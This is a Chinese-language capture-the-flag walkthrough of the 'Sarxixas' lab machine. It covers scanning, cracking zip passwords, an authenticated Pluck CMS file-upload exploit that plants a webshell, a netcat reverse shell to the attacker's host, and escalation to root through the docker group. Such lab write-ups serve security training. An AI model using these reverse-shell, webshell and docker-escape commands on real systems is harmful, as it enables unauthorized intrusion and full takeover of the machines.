Sarxixas

image

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[/var/www/html]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.100.18
Starting arp-scan 1.10.0 with 512 hosts (https://github.com/royhills/arp-scan)
......
192.168.100.21 08:00:27:44:ba:79 PCS Systemtechnik GmbH
......

31 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 512 hosts scanned in 3.084 seconds (166.02 hosts/sec). 30 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
┌──(root㉿Eecho)-[/var/www/html]
└─# rustscan -a 192.168.100.21 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.21:22
Open 192.168.100.21:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.21
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-16 13:51 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
Initiating ARP Ping Scan at 13:51
Scanning 192.168.100.21 [1 port]
Completed ARP Ping Scan at 13:51, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:51
Completed Parallel DNS resolution of 1 host. at 13:51, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:51
Scanning 192.168.100.21 [2 ports]
Discovered open port 80/tcp on 192.168.100.21
Discovered open port 22/tcp on 192.168.100.21
Completed SYN Stealth Scan at 13:51, 0.03s elapsed (2 total ports)
Initiating Service scan at 13:51
Scanning 2 services on 192.168.100.21
Completed Service scan at 13:51, 6.07s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.21
NSE: Script scanning 192.168.100.21.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.41s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
Nmap scan report for 192.168.100.21
Host is up, received arp-response (0.00090s latency).
Scanned at 2026-07-16 13:51:38 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64=
| 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-generator: pluck 4.7.13
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: sarxixas - sarxixas
|_Requested resource was http://192.168.100.21/?file=sarxixas
MAC Address: 08:00:27:44:BA:79 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/16%OT=22%CT=%CU=31777%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A587172%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 48.050 days (since Fri May 29 12:39:54 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.90 ms 192.168.100.21

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:51
Completed NSE at 13:51, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 ssh
  • 80 http

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿Eecho)-[/var/www/html]
└─# gobuster dir -u http://192.168.100.21 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,txt,html,back,cgi,jpg,json,md -b 401,403,404,502
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.21
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 401,403,404,502
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,back,cgi,jpg,json,md,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 317] [--> http://192.168.100.21/images/]
admin.php (Status: 200) [Size: 3758]
login.php (Status: 200) [Size: 1247]
index.php (Status: 302) [Size: 0] [--> http://192.168.100.21/?file=sarxixas]
files (Status: 301) [Size: 316] [--> http://192.168.100.21/files/]
data (Status: 301) [Size: 315] [--> http://192.168.100.21/data/]
docs (Status: 301) [Size: 315] [--> http://192.168.100.21/docs/]
api (Status: 301) [Size: 314] [--> http://192.168.100.21/api/]
. (Status: 302) [Size: 0] [--> http://192.168.100.21/?file=sarxixas]
robots.txt (Status: 200) [Size: 47]
requirements.php (Status: 200) [Size: 3770]
Progress: 971838 / 971838 (100.00%)
===============================================================
Finished
===============================================================

是一个pluck 4.7.13的cms存在rce漏洞但是需要知道admin的密码。这里我们并不知且没有爆破出来

/api下面有个zip文件下载到kali分析下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# wget http://192.168.100.21/api/HostiaPilotes.zip
--2026-07-16 14:01:40-- http://192.168.100.21/api/HostiaPilotes.zip
Connecting to 192.168.100.21:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 411 [application/zip]
Saving to: ‘HostiaPilotes.zip’

HostiaPilotes.zip 100%[===========================================================================================================================>] 411 --.-KB/s in 0s

2026-07-16 14:01:40 (206 MB/s) - ‘HostiaPilotes.zip’ saved [411/411]

┌──(root㉿Eecho)-[/tmp/aaaa]
└─# chmod +x HostiaPilotes.zip
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# unzip HostiaPilotes.zip
Archive: HostiaPilotes.zip
creating: HostiaPilotes/
[HostiaPilotes.zip] HostiaPilotes/contraseña.txt password:

需要密码,爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# zip2john HostiaPilotes.zip > zip_hash.txt
ver 1.0 HostiaPilotes.zip/HostiaPilotes/ is not encrypted, or stored with non-handled compression type
ver 1.0 efh 5455 efh 7875 HostiaPilotes.zip/HostiaPilotes/contraseña.txt PKZIP Encr: 2b chk, TS_chk, cmplen=31, decmplen=19, crc=DF1DBE40 ts=69C0 cs=69c0 type=0
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babybaby (HostiaPilotes.zip/HostiaPilotes/contraseña.txt)
1g 0:00:00:00 DONE (2026-07-16 14:02) 33.33g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

给了一个密码文件,应该是admin的密码

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Eecho)-[/tmp/aaaa/HostiaPilotes]
└─# ls -al
total 12
drwxr-xr-x 2 root root 4096 Jul 16 14:03 .
drwxr-xr-x 3 root root 4096 Jul 16 14:02 ..
-rw-r--r-- 1 root root 19 Apr 30 2024 contraseña.txt
┌──(root㉿Eecho)-[/tmp/aaaa/HostiaPilotes]
└─# cat contraseña.txt
ElAbueloDeLaAnitta
┌──(root㉿Eecho)-[/tmp/aaaa/HostiaPilotes]
└─#

证实了这一点

image

RCE

https://github.com/estebanzarate/CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/opt/CVE/CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC]
└─# python3 CVE-2020-29607.py -u http://192.168.100.21/ -p ElAbueloDeLaAnitta
/usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://192.168.100.21/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> busybox nc 192.168.100.18 8888 -e /bin/sh

image

提权

www -> sarxixa

在/opt目录下同样有个zip压缩包也需要密码,我们将它复制到kali上爆破

1
2
3
4
5
6
7
8
www-data@sarxixas:/opt$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 30 2024 .
drwxr-xr-x 18 root root 4096 Apr 12 2024 ..
-rw-r--r-- 1 root root 242 Apr 30 2024 edropedropedrooo.zip
www-data@sarxixas:/opt$ unzip edropedropedrooo.zip
Archive: edropedropedrooo.zip
[edropedropedrooo.zip] pedropedropedrooo.txt password:

使用scp复制

1
2
3
4
5
6
7
8
9
www-data@sarxixas:/opt$ scp edropedropedrooo.zip root@192.168.100.18:/tmp/aaaa
The authenticity of host '192.168.100.18 (192.168.100.18)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
root@192.168.100.18's password:
edropedropedrooo.zip

成功获取到密码

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# zip2john edropedropedrooo.zip > ed_hash.txt
ver 1.0 efh 5455 efh 7875 edropedropedrooo.zip/pedropedropedrooo.txt PKZIP Encr: 2b chk, TS_chk, cmplen=34, decmplen=22, crc=D30B822E ts=8F24 cs=8f24 type=0
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt ed_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cassandra (edropedropedrooo.zip/pedropedropedrooo.txt)
1g 0:00:00:00 DONE (2026-07-16 14:14) 33.33g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

pedropedropedrooo.txt的内容是base58 加密过的还需要解密一下

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# unzip edropedropedrooo.zip
Archive: edropedropedrooo.zip
[edropedropedrooo.zip] pedropedropedrooo.txt password:
extracting: pedropedropedrooo.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ls
a.py ed_hash.txt edropedropedrooo.zip HostiaPilotes HostiaPilotes.zip pedropedropedrooo.txt zip_hash.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat pedropedropedrooo.txt
3HBRD7XyxF5gAbkMmnWdW

image

Quepasaolvidona

这时候发现切换不到sarxixa用户。仔细观察发现解压的时候解压出来的文件比之前多个p

image

这里我们把密码去掉一个字符发现可以成功登录到sarxixa用户

uepasaolvidona

1
2
3
4
www-data@sarxixas:/opt$ su sarxixa
Password:
sarxixa@sarxixas:/opt$ id
uid=1000(sarxixa) gid=1002(sarxixa) grupos=1002(sarxixa),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(docker)

sarxixa -> root

sarxixa用户属于docker组

1
2
sarxixa@sarxixas:/opt$ id
uid=1000(sarxixa) gid=1002(sarxixa) grupos=1002(sarxixa),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(docker)

https://gtfobins.org/gtfobins/docker/

这里因为网络原因所以没有用gtfbins上的,而上自己创建了一个空镜像

将空设备 /dev/null​ 导入为名为 temp-empty 的镜像:

1
docker import - temp-empty < /dev/null

挂载宿主机运行环境 + 挂载根目录提权

1
2
3
4
5
6
7
docker run --rm -it \
-v /:/mnt \
-v /bin:/bin \
-v /lib:/lib \
-v /lib64:/lib64 \
-v /usr:/usr \
temp-empty /bin/sh

进入宿主机 Root 权限

1
chroot /mnt /bin/bash

或者可以在有科学上网的环境下载一个alpine镜像并打包成压缩包传到靶机上

1
2
3
4
5
# 1. 拉取最新的 alpine 镜像
docker pull alpine:latest

# 2. 将镜像保存(打包)为一个 tar 归档文件
docker save -o alpine.tar alpine:latest

靶机导入镜像

1
docker load -i /tmp/alpine.tar

查看镜像

1
docker images

提权

1
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

image